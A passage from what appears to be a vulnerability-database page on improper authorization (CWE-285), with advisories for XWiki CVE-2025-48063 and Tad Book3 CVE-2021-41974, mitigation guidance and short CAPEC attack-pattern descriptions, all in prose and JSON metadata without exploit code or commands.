{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-security-authorization-bridge"
},
"ranges": [
{
"events": [
{
"introduced": "16.10.0-rc-1"
},
{
"fixed": "16.10.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-security-authorization-bridge"
},
"ranges": [
{
"events": [
{
"introduced": "17.0.0-rc-1"
},
{
"fixed": "17.1.0-rc-1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-48063"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-21T18:26:21Z",
"nvd_published_at": "2025-05-21T18:15:53Z",
"severity": "MODERATE"
},
"details": "### Impact\nIn XWiki 16.10.0, required rights were introduced as a way to limit which rights a document can have. Part of the security model of required rights is that a user who doesn\u0027t have a right also cannot define that right as required right. That way, users who are editing documents on which required rights are enforced can be sure that they\u0027re not giving a right to a script or object that it didn\u0027t have before. A bug in the implementation of the enforcement of this rule means that in fact, it was possible for any user with edit right on a document to set programming right as required right. If then a user with programming right edited that document, the content of that document would gain programming right, allowing remote code execution. This thereby defeats most of the security benefits of required rights. As XWiki still performs the required rights analysis when a user edits a page even when required rights are enforced, the user with programming right would still be warned about the dangerous content unless the attacker managed to bypass this check (see, e.g., https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-c32m-27pj-4xcj). Note also that none of the affected versions include a UI for enabling the enforcing of required rights so it seems unlikely that anybody relied on them for security in the affected versions. As this vulnerability provides no additional attack surface unless all documents in the wiki enforce required rights, we consider the impact of this attack to be low even though gaining programming right could have a high impact.\n\n### Patches\nThis vulnerability has been patched in XWiki 16.10.4 and 17.1.0RC1.\n\n### Workarounds\nWe\u0027re not aware of any workarounds except for upgrading.",
"id": "GHSA-rhfv-688c-p6hp",
"modified": "2025-05-21T19:41:18Z",
"published": "2025-05-21T18:26:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rhfv-688c-p6hp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48063"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/2557813aef3b863988d6cca58de996e207086898"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-platform"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-22859"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "XWiki Platform Security Authorization Bridge allows users with just edit right can enforce required rights with programming right"
}
GHSA-RJ7F-MCVJ-V87G
Vulnerability from github – Published: 2022-05-24 19:17 – Updated: 2022-07-26 00:01Tad Book3 editing book page does not perform identity verification. Remote attackers can use the vulnerability to view and modify arbitrary content of books without permission.
{
"affected": [],
"aliases": [
"CVE-2021-41974"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-306",
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-08T16:15:00Z",
"severity": "CRITICAL"
},
"details": "Tad Book3 editing book page does not perform identity verification. Remote attackers can use the vulnerability to view and modify arbitrary content of books without permission.",
"id": "GHSA-rj7f-mcvj-v87g",
"modified": "2022-07-26T00:01:12Z",
"published": "2022-05-24T19:17:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41974"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-5173-e21ba-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-104: Cross Zone Scripting
An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-39: Manipulating Opaque Client-based Data Tokens
In circumstances where an application holds important data client-side in tokens (cookies, URLs, data files, and so forth) that data can be manipulated. If client or server-side application components reinterpret that data as authentication tokens or data (such as store item pricing or wallet information) then even opaquely manipulating that data may bear fruit for an Attacker. In this pattern an attacker undermines the assumption that client side tokens have been adequately protected from tampering through use of encryption or obfuscation.
CAPEC-402: Bypassing ATA Password Security
An adversary exploits a weakness in ATA security on a drive to gain access to the information the drive contains without supplying the proper credentials. ATA Security is often employed to protect hard disk information from unauthorized access. The mechanism requires the user to type in a password before the BIOS is allowed access to drive contents. Some implementations of ATA security will accept the ATA command to update the password without the user having authenticated with the BIOS. This occurs because the security mechanism assumes the user has first authenticated via the BIOS prior to sending commands to the drive. Various methods exist for exploiting this flaw, the most common being installing the ATA protected drive into a system lacking ATA security features (a.k.a. hot swapping). Once the drive is installed into the new system the BIOS can be used to reset the drive password.
CAPEC-45: Buffer Overflow via Symbolic Links
This type of attack leverages the use of symbolic links to cause buffer overflows. An adversary can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking.
CAPEC-5: Blue Boxing
This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.
{'xhtml:b': 'This attack pattern is included in CAPEC for historical purposes.'}
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-647: Collect Data from Registries
An adversary exploits a weakness in authorization to gather system-specific data and sensitive information within a registry (e.g., Windows Registry, Mac plist). These contain information about the system configuration, software, operating system, and security. The adversary can leverage information gathered in order to carry out further attacks.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.